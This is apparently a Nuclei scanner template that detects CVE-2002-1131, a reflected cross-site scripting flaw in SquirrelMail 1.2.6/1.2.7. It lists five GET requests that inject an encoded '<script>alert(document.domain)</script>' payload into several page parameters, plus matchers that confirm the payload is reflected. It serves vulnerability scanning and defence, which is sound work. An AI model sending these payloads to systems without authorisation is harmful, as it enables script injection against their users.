SquirrelMail 1.2.6/1.2.7 - Cross-Site Scripting

id: CVE-2002-1131

info:
  name: SquirrelMail 1.2.6/1.2.7 - Cross-Site Scripting
  author: dhiyaneshDk
  severity: high
  description: The Virtual Keyboard plugin for SquirrelMail 1.2.6/1.2.7 is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary script code in the context of the victim's browser, potentially leading to session hijacking, data theft, or other malicious activities.
  remediation: |
    Upgrade to a patched version of SquirrelMail or apply the necessary security patches to mitigate the XSS vulnerability.
  reference:
    - http://www.redhat.com/support/errata/RHSA-2002-204.html
    - http://www.debian.org/security/2002/dsa-191
    - http://sourceforge.net/project/shownotes.php?group_id=311&release_id=110774
    - https://www.exploit-db.com/exploits/21811
    - https://nvd.nist.gov/vuln/detail/CVE-2002-1131
  classification:
    cvss-metrics: CVSS:2.0/AV:N/AC:L/Au:N/C:P/I:P/A:P
    cvss-score: 7.5
    cve-id: CVE-2002-1131
    cwe-id: CWE-80
    epss-score: 0.06018
    epss-percentile: 0.92781
    cpe: cpe:2.3:a:squirrelmail:squirrelmail:*:*:*:*:*:*:*:*
  metadata:
    max-request: 5
    vendor: squirrelmail
    product: squirrelmail
  tags: cve,cve2002,edb,xss,squirrelmail

http:
  - method: GET
    path:
      - '{{BaseURL}}/src/addressbook.php?%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E'
      - '{{BaseURL}}/src/options.php?optpage=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E'
      - '{{BaseURL}}/src/search.php?mailbox=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E&what=x&where=BODY&submit=Search'
      - '{{BaseURL}}/src/search.php?mailbox=INBOX&what=x&where=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E&submit=Search'
      - '{{BaseURL}}/src/help.php?chapter=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E'

    stop-at-first-match: true

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "</script><script>alert(document.domain)</script>"

      - type: word
        part: header
        words:
          - "text/html"

      - type: status
        status:
          - 200
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